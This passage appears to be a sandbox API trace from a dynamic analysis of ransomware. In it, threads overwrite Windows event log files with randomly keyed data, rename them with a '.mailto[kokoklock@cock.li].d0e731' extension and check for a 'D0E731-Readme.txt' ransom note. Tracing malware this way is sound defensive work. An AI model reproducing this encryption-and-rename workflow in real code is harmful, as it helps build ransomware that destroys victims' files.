_Dest=0x347a6d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.501] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.524] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a6d0) returned 1 [0064.524] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34344a8 [0064.524] wcscpy (in: _Dest=0x34344a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.524] wcscat (in: _Dest=0x34344a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.524] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34344a8) returned 1 [0064.525] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3760) returned 1 [0064.525] RtlExitUserThread (Status=0x1) Thread: id = 183 os_tid = 0x1154 [0063.440] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0063.777] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.777] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a0 [0063.777] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0xa7af994 | out: lpFileSize=0xa7af994*=69632) returned 1 [0063.777] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.777] ReadFile (in: hFile=0x7a0, lpBuffer=0xa7af968, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa7af964, lpOverlapped=0x0 | out: lpBuffer=0xa7af968*, lpNumberOfBytesRead=0xa7af964*=0x4, lpOverlapped=0x0) returned 1 [0064.158] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be848 [0064.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be5a0 [0064.158] NtQuerySystemTime (in: CurrentTime=0xa7af940 | out: CurrentTime=0xa7af940*=132121176220496715) returned 0x0 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x36916895 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xb7ecac9f [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xa2f7fb70 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x2e45c8a8 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xd5b2dc68 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xe1ab6e07 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x42ed4735 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x21a3ee44 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x195eba4c [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x65adace6 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x7da2da43 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xf989608 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xd88cb7a4 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xf839f4e0 [0064.158] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x104fef9f [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x2ab8cd92 [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x3359150c [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xcf9431c4 [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x63bd71fd [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xf226b542 [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x2bb85b6b [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x237aa86e [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x804cb8f8 [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x4be4b0ec [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x42fa4d21 [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x94dc6bc6 [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xaf10dc59 [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x283c031e [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x5f56233e [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xd8130b2e [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0x6132fc18 [0064.159] RtlRandom (in: Seed=0xa7af94c | out: Seed=0xa7af94c) returned 0xdf92f80c [0064.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be488 [0064.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be3c0 [0064.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55f4ae8 [0064.171] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.171] ReadFile (in: hFile=0x7a0, lpBuffer=0x55f4ae8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa7af918, lpOverlapped=0x0 | out: lpBuffer=0x55f4ae8*, lpNumberOfBytesRead=0xa7af918*=0x4096, lpOverlapped=0x0) returned 1 [0064.370] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.371] WriteFile (in: hFile=0x7a0, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa7af918, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa7af918*=0x4096, lpOverlapped=0x0) returned 1 [0064.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.371] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.371] WriteFile (in: hFile=0x7a0, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa7af950, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xa7af950*=0x20, lpOverlapped=0x0) returned 1 [0064.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55f4ae8) returned 1 [0064.374] WriteFile (in: hFile=0x7a0, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa7af964, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xa7af964*=0x8, lpOverlapped=0x0) returned 1 [0064.374] WriteFile (in: hFile=0x7a0, lpBuffer=0xa7af97c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa7af964, lpOverlapped=0x0 | out: lpBuffer=0xa7af97c*, lpNumberOfBytesWritten=0xa7af964*=0x4, lpOverlapped=0x0) returned 1 [0064.374] WriteFile (in: hFile=0x7a0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa7af964, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa7af964*=0x4, lpOverlapped=0x0) returned 1 [0064.374] WriteFile (in: hFile=0x7a0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa7af964, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa7af964*=0x6c, lpOverlapped=0x0) returned 1 [0064.374] WriteFile (in: hFile=0x7a0, lpBuffer=0x34be848*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa7af964, lpOverlapped=0x0 | out: lpBuffer=0x34be848*, lpNumberOfBytesWritten=0xa7af964*=0x20, lpOverlapped=0x0) returned 1 [0064.374] WriteFile (in: hFile=0x7a0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa7af964, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa7af964*=0x4, lpOverlapped=0x0) returned 1 [0064.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be848) returned 1 [0064.374] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0064.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0064.375] CloseHandle (hObject=0x7a0) returned 1 [0064.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33ceb38 [0064.498] wcscpy (in: _Dest=0x33ceb38, _Source="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" [0064.498] wcscat (in: _Dest=0x33ceb38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.498] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.636] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ceb38) returned 1 [0064.637] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433d68 [0064.637] wcscpy (in: _Dest=0x3433d68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.637] wcscat (in: _Dest=0x3433d68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.637] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433d68) returned 1 [0064.637] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c45b8) returned 1 [0064.637] RtlExitUserThread (Status=0x1) Thread: id = 184 os_tid = 0x1158 [0063.441] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0063.775] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.775] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x79c [0063.775] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0xa82fc40 | out: lpFileSize=0xa82fc40*=69632) returned 1 [0063.775] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.776] ReadFile (in: hFile=0x79c, lpBuffer=0xa82fc14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa82fc10, lpOverlapped=0x0 | out: lpBuffer=0xa82fc14*, lpNumberOfBytesRead=0xa82fc10*=0x4, lpOverlapped=0x0) returned 1 [0064.143] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34beaa0 [0064.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34beac8 [0064.143] NtQuerySystemTime (in: CurrentTime=0xa82fbec | out: CurrentTime=0xa82fbec*=132121176220340186) returned 0x0 [0064.143] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0xcdfee3fc [0064.143] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x89d5ff7c [0064.143] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x3db9f3be [0064.143] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x24e82731 [0064.143] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x64378b3 [0064.143] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x8867b4f9 [0064.143] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x48782759 [0064.143] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x3a96f14e [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x104d1092 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0xe9e61945 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x7c7aea85 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x756ca45d [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x591dcea4 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x901d2a51 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x435d36a7 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0xe9b3c29 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0xb7379225 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0xb774191e [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x735825da [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0xaaf945ba [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0xa4681019 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0xc9d146fc [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x6d3e61a8 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x21b16d14 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x95a7d674 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x1dbae66b [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x54a973f3 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x245994ff [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x362b694f [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x673f789b [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x17b1e809 [0064.144] RtlRandom (in: Seed=0xa82fbf8 | out: Seed=0xa82fbf8) returned 0x742657f2 [0064.153] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be910 [0064.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0064.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be820 [0064.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0064.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea78) returned 1 [0064.155] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55f0a48 [0064.157] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.157] ReadFile (in: hFile=0x79c, lpBuffer=0x55f0a48, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa82fbc4, lpOverlapped=0x0 | out: lpBuffer=0x55f0a48*, lpNumberOfBytesRead=0xa82fbc4*=0x4096, lpOverlapped=0x0) returned 1 [0064.367] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0064.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0064.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa68 [0064.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa68) returned 1 [0064.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0064.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0064.368] WriteFile (in: hFile=0x79c, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa82fbc4, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa82fbc4*=0x4096, lpOverlapped=0x0) returned 1 [0064.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.368] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.368] WriteFile (in: hFile=0x79c, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa82fbfc, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xa82fbfc*=0x20, lpOverlapped=0x0) returned 1 [0064.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55f0a48) returned 1 [0064.369] WriteFile (in: hFile=0x79c, lpBuffer=0x34be820*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa82fc10, lpOverlapped=0x0 | out: lpBuffer=0x34be820*, lpNumberOfBytesWritten=0xa82fc10*=0x8, lpOverlapped=0x0) returned 1 [0064.369] WriteFile (in: hFile=0x79c, lpBuffer=0xa82fc28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa82fc10, lpOverlapped=0x0 | out: lpBuffer=0xa82fc28*, lpNumberOfBytesWritten=0xa82fc10*=0x4, lpOverlapped=0x0) returned 1 [0064.369] WriteFile (in: hFile=0x79c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa82fc10, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa82fc10*=0x4, lpOverlapped=0x0) returned 1 [0064.369] WriteFile (in: hFile=0x79c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa82fc10, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa82fc10*=0x6c, lpOverlapped=0x0) returned 1 [0064.369] WriteFile (in: hFile=0x79c, lpBuffer=0x34beaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa82fc10, lpOverlapped=0x0 | out: lpBuffer=0x34beaa0*, lpNumberOfBytesWritten=0xa82fc10*=0x20, lpOverlapped=0x0) returned 1 [0064.369] WriteFile (in: hFile=0x79c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa82fc10, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa82fc10*=0x4, lpOverlapped=0x0) returned 1 [0064.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34beaa0) returned 1 [0064.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0064.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be820) returned 1 [0064.369] CloseHandle (hObject=0x79c) returned 1 [0064.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33e55b8 [0064.498] wcscpy (in: _Dest=0x33e55b8, _Source="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" [0064.498] wcscat (in: _Dest=0x33e55b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0064.498] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.567] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.567] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e55b8) returned 1 [0064.567] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0064.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434628 [0064.567] wcscpy (in: _Dest=0x3434628, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.568] wcscat (in: _Dest=0x3434628, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.568] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434628) returned 1 [0064.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2840) returned 1 [0064.568] RtlExitUserThread (Status=0x1) Thread: id = 185 os_tid = 0x115c [0063.441] GetFileAttributesW 